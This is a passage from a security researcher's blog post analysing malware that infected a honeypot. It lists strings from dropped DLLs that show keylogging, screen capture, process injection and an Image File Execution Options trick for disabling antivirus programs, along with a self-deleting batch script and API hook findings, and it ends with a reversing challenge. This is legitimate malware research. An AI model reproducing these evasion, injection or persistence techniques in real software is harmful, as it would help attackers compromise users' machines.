QueueUserAPC
lstrcpyA
GetTempFileNameA
GetTempPathA
lstrcmpiA
IsDBCSLeadByte
SetEvent
IsBadWritePtr
IsBadReadPtr
GetModuleHandleA
GetCurrentProcessId
WaitForSingleObject
ExitProcess
lstrlenA
GetTickCount
CreateEventA
GetVersionExA
GetLastError
CreateMutexA
CreateRemoteThread
WriteProcessMemory
VirtualAllocEx
OpenProcess
GetModuleFileNameA
LoadLibraryA
OpenMutexA
HeapFree
HeapAlloc
GetProcessHeap
lstrcpynA
DeleteFileA
CreateThread
SleepEx
DisableThreadLibraryCalls
SetLastError
VirtualProtect
FlushInstructionCache
GetCurrentProcess
MultiByteToWideChar
KERNEL32.dll
GdipAlloc
GdipDisposeImage
GdipSaveImageToFile
GdipCreateBitmapFromHBITMAP
GdipGetImageEncodersSize
GdipGetImageEncoders
GdiplusShutdown
GdiplusStartup
GdipFree
GdipCloneImage
gdiplus.dll
wcscmp
_strupr
GetWindowRect
GetWindowDC
DeleteDC
DeleteObject
BitBlt
SelectObject
CreateCompatibleBitmap
CreateCompatibleDC
PMV2_DataCollector.dll
EC#$
OPWindowClass
Software\FlashFXP
)!@#$%^&*(
\Shotsnap%u.jpg
PMV2CollectAPCThread
###################################################
[BACK]
[MK]
[End]
[Home]
[Enter]
[Tab]
PluginCallbackProc ... 
\log%u.txt
InitializePlugin.
%s:%u
imagehlp.dll
ImagehlpApiVersionEx
SymInitialize
SymSetOptions
SymGetOptions
SymLoadModule
SymGetModuleInfo
SymGetSymFromName
BindImage
.detour

Unicode Strings:
---------------------------------------------------------------------------
jjjj
image/jpeg

Let’s keep an eye on this one. Also – see the last string in the file ?  .detour ?  We might also expect to see some API hooking after all.

 

~DF3E.exe

We already know that using automated tools does not always produce reliable results. In order to analyse DF3E, I’ll run DF2D and DF3A first (no debugger attached), to make sure all possble requirements are met (files in place, registry keys in place, etc) and then I’ll run DF3E through the debugger.

Looking at the first few instructions in the main function, we can see something very similar to DF3A :

image

We’ll simply take the same steps as the ones we performed when analysing DF3A.  Basically, execute all instructions until the conditional jump at 00401503, and change the condition. (change the instruction from JE to JNE).  We’ll need to do the same at 0x0040151E.  If we continue to execute instructions after changing the jumps, the code will

  • load user32.dll
  • find function pointer to user32.IsWindow
  • find function pointer to user32.SendMessageA

Then at 004015B6, we change all instructions up to 004015BD to nops. This will avoid an access violation.

image

Next, folder C:\Program Files\ComPlus Applications is created (if it does not exist yet).  At this point, everything looks exactly the same as in DF3A.

Next, xPlayer.dll is created in that folder, and the function returns. (MD5 of the file : 51248C419736FDBEE43B4ECB64FBEFF8)

NOP out the instruction at 0x0040167A (to avoid an Access violation).

Finally, a new process (calc.exe) is created, injected with the cleanup routine, and the application exits.

File info :

File: XPlayer.dll
MD5:  51248c419736fdbee43b4ecb64fbeff8
Size: 11264

Ascii Strings:
---------------------------------------------------------------------------
!This program cannot be run in DOS mode.
a"u2W\Device\NamedPipe\browser
\Device\NamedPipe\srvsvc
ZwQueryInformationFile
ZwDuplicateObject
ZwQuerySystemInformation
ZwQueryObject
ntdll
lanmanserver
lanmanworkstation
Browser
%u.%u.%u.%u
$_Money_$
__PHO&COM__
%Systemroot%\system32\rundll32.exe
 "%s",CPlApplet %s
SeDebugPrivilege
!#Exp%d#!
value
Instance
\\%s
4b324fc8-1670-01d3-1278-5a47bf6ee188
\\%s\pipe\browser
\\%s\pipe
strstr
sprintf
memcpy
atoi
_itoa
MSVCRT.dll
free
_initterm
malloc
_adjust_fdiv
DefWindowProcA
SetTimer
PostQuitMessage
DispatchMessageA
TranslateMessage
GetMessageA
ShowWindow
CreateWindowExA
RegisterClassExA
USER32.dll
AdjustTokenPrivileges
LookupPrivilegeValueA
OpenProcessToken
QueryServiceStatusEx
CloseServiceHandle
OpenServiceA
OpenSCManagerA
ADVAPI32.dll
GetAdaptersInfo
iphlpapi.dll
WNetCancelConnectionA
WNetAddConnection2A
MPR.dll
UuidToStringA
UuidFromStringA
RPCRT4.dll
WS2_32.dll
WideCharToMultiByte
VirtualFree
CloseHandle
TerminateThread
WaitForSingleObject
CreateThread
GetProcAddress
GetModuleHandleA
VirtualAlloc
GetCurrentProcess
CreateRemoteThread
OpenProcess
Sleep
GetTickCount
ReleaseSemaphore
CreateSemaphoreA
HeapFree
HeapAlloc
GetProcessHeap
ExitThread
UnmapViewOfFile
MapViewOfFile
GetExitCodeThread
ExitProcess
GetLastError
CreateMutexA
OpenFileMappingA
CreateProcessA
ExpandEnvironmentStringsA
GetModuleFileNameA
GetStartupInfoA
CreateFileMappingA
GetCurrentProcessId
GetExitCodeProcess
lstrcpyA
DisableThreadLibraryCalls
TransactNamedPipe
lstrcatA
CreateFileA
lstrlenA
KERNEL32.dll
PMV2_08067.dll
CPlApplet

 

~DF4A.exe

Again, the same techniques (as the ones documented in previous files) are used. This time, file regutils.dll is created.

File info :

File: regutils.dll
MD5:  6104e03783e6d0c7443fb99ed8eebe46
Size: 12800

Ascii Strings:
---------------------------------------------------------------------------
!This program cannot be run in DOS mode.
Qihoo360
e2813ddf-80f8-4da9-b6e3-f051ccad2e24
ProgramPath
Software\Kingsoft\AntiVirus
Q360MonMutex
DrvFWAccess
Software\360Safe\safemon
{D6EB0652-1172-4e51-BFC6-6AF63762C09C}-rav-0
Software\Rising\Rav
Q360SDMutex
Software\360SD
22.37.00.03
%d-%02d-%02d %02d:%02d
%d.%02d.%02d.14
Debugger
ntsd -d
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
DSMain.exe
360Safe.exe
RavMonD.exe
rstray.exe
360rp.exe
360sd.exe
LiveUpdate360.exe
ZhuDongFangYu.exe
360tray.exe
kissvc.exe
kmailmon.exe
kswebshield.exe
kwatch.exe
kavstart.exe
TKSun.Kongbiet
memset
memcpy
MSVCRT.dll
free
_initterm
malloc
_adjust_fdiv
RegCloseKey
RegQueryValueExA
RegOpenKeyExA
RegSetValueExA
RegCreateKeyA
RegOpenKeyA
ADVAPI32.dll
DefWindowProcA
LoadIconA
wsprintfA
DispatchMessageA
TranslateMessage
GetMessageA
ShowWindow
MoveWindow
CreateWindowExA
RegisterClassExA
USER32.dll
Shell_NotifyIconA
SHELL32.dll
CreateMutexA
GetFileAttributesA
lstrcpyA
GetLocalTime
TerminateProcess
OpenProcess
Process32Next
lstrcmpiA
CloseHandle
Process32First
CreateToolhelp32Snapshot
GetLastError
CreateThread
KERNEL32.dll
safemon.DLL

Still no network traffic.

 

 

~DF4E.exe

In this binary, folder C:\Program Files\WinRar is created, and a file called unacev32.dll is dropped into the folder.

File: UNACEV32.DLL
MD5:  361f207b6f0c8e49e54bf9fb0cb709a9
Size: 20992

Ascii Strings:
---------------------------------------------------------------------------
!This program cannot be run in DOS mode.
http://
value
DFrz
memcpy
memset
free
memcmp
malloc
sprintf
strstr
MSVCRT.dll
_initterm
_adjust_fdiv
RegCloseKey
RegSetValueExA
RegCreateKeyExA
RegQueryValueExA
RegOpenKeyExA
RegEnumKeyA
RegQueryInfoKeyA
RegDeleteKeyA
RegCreateKeyA
ADVAPI32.dll
LocalAlloc
IsBadReadPtr
CloseHandle
VirtualFree
WriteFile
MultiByteToWideChar
lstrcatA
lstrcpyA
VirtualAlloc
GetFileSize
ReadFile
SetFilePointer
lstrcmpiA
GetVolumeInformationA
GetDiskFreeSpaceA
CreateFileA
GetProcAddress
GetModuleHandleA
DeviceIoControl
FreeResource
LockResource
LoadResource
SizeofResource
FindResourceA
LocalFree
DeleteFileA
GetWindowsDirectoryA
lstrlenA
GetTickCount
GetFileAttributesA
ExpandEnvironmentStringsA
MoveFileExA
lstrcpynA
GetModuleFileNameA
KERNEL32.dll
UNACEV32.DLL

Unicode Strings:
---------------------------------------------------------------------------

This time, the file is not just being created, but it’s also loaded (at 0x10000000) after it gets created :

image

A pointer to the module entry point is retrieved (0x10001B2D), and then the function gets called. (CALL EAX at 0x004016AC)

At 0x10001B2D, function 0x1000114A is called. In that function, a LocalAlloc is executed, followed by memcpy :

0012FCA8   00143BEC  ì;.  |dest = 00143BEC
0012FCAC   10004110  A.  |src = 10004110
0012FCB0   00000178  x..  \n = 178 (376.)

Then memset is executed

0012FC9C   0012FCBC  ¼ü.  |s = 0012FCBC
0012FCA0   00000000  ....  |c = 00
0012FCA4   00000020   ...  \n = 20 (32.)

Then,  data copied to 00143BEC is decoded/decrypted :

00143BEC  5C 5C 2E 5C 25 63 3A 00 46 41 54 33 32 00 6E 74  \\.\%c:.FAT32.nt
00143BFC  64 6C 6C 2E 64 6C 6C 00 5A 77 4F 70 65 6E 44 69  dll.dll.ZwOpenDi
00143C0C  72 65 63 74 6F 72 79 4F 62 6A 65 63 74 00 5A 77  rectoryObject.Zw
00143C1C  51 75 65 72 79 44 69 72 65 63 74 6F 72 79 4F 62  QueryDirectoryOb
00143C2C  6A 65 63 74 00 5A 77 43 6C 6F 73 65 00 52 74 6C  ject.ZwClose.Rtl
00143C3C  49 6E 69 74 55 6E 69 63 6F 64 65 53 74 72 69 6E  InitUnicodeStrin
00143C4C  67 00 52 74 6C 43 6F 6D 70 61 72 65 55 6E 69 63  g.RtlCompareUnic
00143C5C  6F 64 65 53 74 72 69 6E 67 00 53 4F 46 54 57 41  odeString.SOFTWA
00143C6C  52 45 5C 44 2D 54 6F 6F 6C 73 00 49 6E 73 74 61  RE\D-Tools.Insta
00143C7C  6C 6C 65 64 00 5C 3F 3F 5C 00 25 75 2E 73 79 73  lled.\??\.%u.sys
00143C8C  00 53 59 53 54 45 4D 5C 43 75 72 72 65 6E 74 43  .SYSTEM\CurrentC
00143C9C  6F 6E 74 72 6F 6C 53 65 74 5C 53 65 72 76 69 63  ontrolSet\Servic
00143CAC  65 73 5C 25 30 38 78 00 45 72 72 6F 72 43 6F 6E  es\%08x.ErrorCon
00143CBC  74 72 6F 6C 00 53 74 61 72 74 00 54 79 70 65 00  trol.Start.Type.
00143CCC  49 6D 61 67 65 50 61 74 68 00 5C 52 65 67 69 73  ImagePath.\Regis
00143CDC  74 72 79 5C 4D 61 63 68 69 6E 65 5C 00 5C 5C 2E  try\Machine\.\\.
00143CEC  5C 54 4B 49 64 69 6F 74 00 25 53 79 73 74 65 6D  \TKIdiot.%System
00143CFC  72 6F 6F 74 25 5C 73 79 73 74 65 6D 33 32 5C 77  root%\system32\w
00143D0C  65 62 63 68 65 63 6B 2E 64 6C 6C 00 5C 44 72 69  ebcheck.dll.\Dri
00143D1C  76 65 72 00 44 65 65 70 46 72 7A 00 59 7A 49 64  ver.DeepFrz.YzId
00143D2C  69 6F 74 00 73 6E 70 73 68 6F 74 00 53 68 69 65  iot.snpshot.Shie
00143D3C  6C 64 00 5A 77 4C 6F 61 64 44 72 69 76 65 72 00  ld.ZwLoadDriver.
00143D4C  50 6C 75 67 69 6E 32 61 2E 53 65 63 74 69 6F 6E  Plugin2a.Section
00143D5C  00 00 00 00 00 00 00 00 AB AB AB AB AB AB AB AB  ........««««««««
00143D6C  EE FE EE FE 00 00 00 00 00 00 00 00 51 02 40 00  îþîþ........Q@.

Pointers to some of the function names in the memory dump are retrieved and stored at a negative offset of EBP :

image

Then kernel32.MultiByteToWideChar() is called, using the following arguments :

0012FBB8   00000000  ....  |CodePage = CP_ACP
0012FBBC   00000000  ....  |Options
0012FBC0   00143D18  =.  |StringToMap = "\Driver"
0012FBC4   FFFFFFFF  ÿÿÿÿ  |StringSize = FFFFFFFF (-1.)
0012FBC8   0012FBDC  Üû.  |WideCharBuf = 0012FBDC
0012FBCC   00000010  ...  \WideBufSize = 10 (16.)

at 10001AAA, VirtualAlloc() is called :

0012FBC0   00000000  ....  |Address = NULL
0012FBC4   00100000  ...  |Size = 100000 (1048576.)
0012FBC8   00001000  ...  |AllocationType = MEM_COMMIT
0012FBCC   00000004  ...  \Protect = PAGE_READWRITE

A little while later, memory is freed again, and module unacev32.dll is unloaded again.

The dll is removed again, and then application initiates the cleanup routine (via calc.exe)…

All of that doesn’t really make sense – why create a dll, loading it, and delete it again …  Then again, we had to modify certain jumps to make the code produce the file… so maybe we are still not testing/analysing the file in the righ context either.

 

 

 

~DF5E.exe

While using the same techniques again, this file is different than the last 3. It does not only create files, but it also appears to be changing a few things. In addition to that, it also seems to be using a different technique to clean up itself in the end.

It creates the following files :

C:\Documents & Settings\\Local Settings\Temp\kb291941.sve
C:\Program Files\Common Files\System\kb291941.bwb
C:\WINDOWS\system32\dsound.dll.dat
C:\WINDOWS\system32\dsound.dll.dat
C:\WINDOWS\system32\dsound.dll.NULG
C:\WINDOWS\system32\dsound.dll
C:\Documents & Settings\\Local Settings\Temp\tempVidio.bat

It also creates the following mutexes :

CTF.LBES.MutexDefaultS-1-5-21-583907252-1708537768-842925246-500
CTF.Compart.MutexDefaultS-1-5-21-583907252-1708537768-842925246-500
CTF.Asm.MutexDefaultS-1-5-21-583907252-1708537768-842925246-500
CTF.Layouts.MutexDefaultS-1-5-21-583907252-1708537768-842925246-500
CTF.TMD.MutexDefaultS-1-5-21-583907252-1708537768-842925246-500
CTF.TimListCache.FMPDefaultS-1-5-21-583907252-1708537768-842925246-500MUTEX.DefaultS-1-5-21-583907252

This time, tempVidio.bat is used to remove the .exe file and itself :

@echo  off
:try
del  C:\DOCUME~1\myne-us\APPLIC~1\Tencent\~DF5E.exe
if   exist   C:\DOCUME~1\myne-us\APPLIC~1\Tencent\~DF5E.exe  goto  try


del  C:\DOCUME~1\myne-us\LOCALS~1\Temp\tempVidio.bat

 

~DF6B.exe

This file is very similar to ~DF5E.exe. It creates the following files :

C:\Documents & Settings\\Local Settings\Temp\kb848115.sve
C:\Program Files\Common Files\System\kb848115.srd
\Device\Tcp
\Device\Ip
\Device\Ip
C:\WINDOWS\system32\d3d8thk.dll.dat
C:\WINDOWS\system32\d3d8thk.dll.dat
C:\WINDOWS\system32\d3d8thk.dll.EMGP
C:\WINDOWS\system32\d3d8thk.dll
C:\Documents & Settings\\Local Settings\Temp\tempVidio.bat

and also creates the same mutexes as the ones created in ~DF5E.exe

Furthermore, a COM instance is created :

COM Create Instance: C:\Program Files\Windows Desktop Search\MSNLNamespaceMgr.dll, 
ProgID: (MSNLNamespaceMgr.NamespaceMgr.1), 
Interface ID: ({00000000-0000-0000-C000-000000000046})
COM Get Class Object: C:\WINDOWS\system32\urlmon.dll, 
Interface ID: ({00000001-0000-0000-C000-000000000046})

And finally the executable is deleted using tempVidio.bat

 

~DF19.exe / ~DF21.exe  / ~DF29.exe / ~DF36.exe / ~DF42.exe / ~DF46.exe / ~DF53.exe / ~DF57.exe / ~DF65.exe / ~DF70.exe / ~DF76.exe

 

The missing pieces

At this point, we have been able to analyse the way the machine got rooted and described the first stages of the infection.  We know that files are downloaded, executables are created and network traffic is created.

However, we have not been able to find

  • how to properly debug the injected code into explorer and document how iexplorer.exe is called
  • how the machine gets infected permanently
  • what process is responsible for the network traffic (we suspect it’s l.exe -> explorer.exe -> iexplorer.exe -> network, but we have not been able to prove that )
  • what the purpose of the malware / infection is
  • what the relationship is between the images and the executables
  • why the executables create dll files and how these dll files are used

So it looks like a big part of the missing pieces can be found inside explorer.exe or iexplore.exe, and maybe that will also explain the somewhat weird behaviour of the 18 executables.

GMER scans produce the following results :

before infection : no traces of infection

after infection :

---- User code sections - GMER 1.0.15 ----

.text     C:\WINDOWS\Explorer.EXE[1544] kernel32.dll!SetUnhandledExceptionFilter                                                7C84495D 5 Bytes  [33, C0, C2, 04, 00] {XOR EAX, EAX; RET 0x4}

---- User IAT/EAT - GMER 1.0.15 ----

IAT       C:\WINDOWS\Explorer.EXE[1544] 
  C:\WINDOWS\system32\USER32.dll 
  [KERNEL32.dll!LoadLibraryExW]                          
  [02743E95] C:\Program Files\Real\pnen3260.dll (RealVideo/RealNetworks, Inc.)

IAT       C:\Program Files\Internet Explorer\IEXPLORE.EXE[1568] 
  C:\WINDOWS\system32\SHLWAPI.dll [USER32.dll!DialogBoxParamW]  
  [10003BDA] C:\Program Files\Real\pnen3260.dll (RealVideo/RealNetworks, Inc.)

---- EOF - GMER 1.0.15 ----

infected, after reboot :

---- User code sections - GMER 1.0.15 ----

.text     C:\WINDOWS\Explorer.EXE[1404] kernel32.dll!SetUnhandledExceptionFilter                        7C84495D 5 Bytes  [33, C0, C2, 04, 00] {XOR EAX, EAX; RET 0x4}

---- User IAT/EAT - GMER 1.0.15 ----

IAT       C:\WINDOWS\Explorer.EXE[1404] 
  C:\WINDOWS\system32\USER32.dll [KERNEL32.dll!LoadLibraryExW]  
  [00FE3E95] C:\Program Files\Real\sipr3260.dll (RealVideo/RealNetworks, Inc.)

---- EOF - GMER 1.0.15 ----

So it’s clear that pnen3260.dll plays an important role – the IAT table of iexplore.exe shows that one of the functions (DialogBoxParamW) was hooked and points to a function inside pnen3260.dll

After a reboot, the IAT of explorere.exe contains a reference to sipr3260.dll (LoadLibraryExW is hooked and points to a function inside that dll).

 

… and this is where our journey ends for now…

 

Lessons learned so far

Obviously don’t connect unpatched computers directly to the internet, unless you want to get owned for analysis purposes :)

If you want to analyze (userland) malware, procmon and a decent sniffer will help you document it’s behaviour from a process & network traffic point of view… but if you are serious about analyzing malware, you really need to dive into the asm & carefully step through. Every single instruction, jump or call may be important. It’s not uncommon to  see that executables don’t use a lot of API imports, and that API calls are generated at runtime.

Beware of anti-debugging tricks.

Make sure to run things in an isolated machine (vm) and take snapshots before starting the debugging process. Realize though that malware may be able to detect a VM and change behaviour or even escape from it…

From a tools perspective, this analysis has proven once again that using a tool (whether it’s a debugger or  some kind of automated analysis tool), may not report accurate information.  Even a combination of the tools might provide you a false sense of security.  It’s imperative to use the right tool, at the right time, under the right circumstances and within the right context.  It’s difficult to find the right balance, timing and technique, but you’ll get there if  you show some perseverance and dedication. Even if the malware specimen turns out to be low risk after all, it might still be a good learning experience.

In case of multi-staged malware, make sure to capture all files that are created in a given stage, and keep them handy. You might need those files again when looking at another piece of the malware.

Be prepared to spend a painful amount of time and effort to properly document what’s going on.

This malware specimen is probably not new, maybe not the most damaging out there , and most certainly not as complex as other malware, but hey… this is the one that rooted our box.

 

Some other tips:

  • Mutexes are often used to determine if malware is already running.
  • OpenProcess(), CreateRemoteThread(), WriteProcessMemory(), VirtualAllocEx() and QueueUserAPC() are instructions that might indicate injection into a process.
  • The fact that a binary is not packed doesn’t rule out the possibililty that it’s malicious. There’s a plethora of ways to decode, re-combine/reproduce code on the fly.  Packers often raise suspicion, other routines might even bypass AV.

 

 

Okay, enough with the chit chat. 

Get ready for…

The Challenge

At this point, we would like to challenge you !  Most of you are familiar with CTF/wargames/reversing challenges, so we decided to turn this analysis into a game. 

Usually, the binary/reversing challenges in those ‘wargames’ are based upon custom compiled executables or binaries.  Makes sense, since a CTF is usually limited in time and has a bunch of other challenges to complete as well.

In our case, instead of using a custom executable, the target is a real worm… real malware.  Exciting, isn’t it ?

The game winner will get a (modest) prize (see below), but we think the educational value, the fact that you can share your experience with the world, and get recognized & respected for that, is what should drive you to take on this challenge.

Goal :

Write and submit a document (in English), documenting (in detail, text & screenshots) :

  • what the anti debugging tricks are (of the injected code inside explorer.exe) and how to properly bypass them to debug the code
  • how and where iexplorer.exe gets called
  • where/how the network connections are initiated/made (download of images, self propagation, etc)
  • what the relation is between the images and the executables
  • what the purpose is of the executables (high level explanation is ok)
  • how the machine gets infected permanently
  • finally, what the main purpose is of this malware

The first person to submit a valid/correct/reproducable procedure wins a Corelan coffee mug (that is, if Cafepress can ship goods to where you live.. if not, we’ll figure something out).  We will post your document on this site, so other people can learn from it as well.

We are not looking for behaviour analysis. We want proof and techniques, and we need to be able to reproduce the techniques based on your document.

Submit your paper (pdf) to security [at] corelan [dot] be. 

Deadline :

End of february 2011

 

Good luck !

 

 

Thanks to…

Corelan Team ! You guys rock !


  Copyright secured by Digiprove © 2011 Peter Van Eeckhoutte

© 2011 – 2021, Peter Van Eeckhoutte (corelanc0d3r). All rights reserved.

3 Responses to The Honeypot Incident – How strong is your UF (Reversing FU)

Corelan Training

We have been teaching our win32 exploit dev classes at various security cons and private companies & organizations since 2011

Check out our schedules page here and sign up for one of our classes now!

Donate

Want to support the Corelan Team community ? Click here to go to our donations page.

Want to donate BTC to Corelan Team?



Your donation will help funding server hosting.

Corelan Team Merchandise

You can support Corelan Team by donating or purchasing items from the official Corelan Team merchandising store.

Protected by Copyscape Web Plagiarism Tool

Corelan on Slack

You can chat with us and our friends on our Slack workspace:

  • Go to our facebook page
  • Browse through the posts and find the invite to Slack
  • Use the invite to access our Slack workspace
  • Categories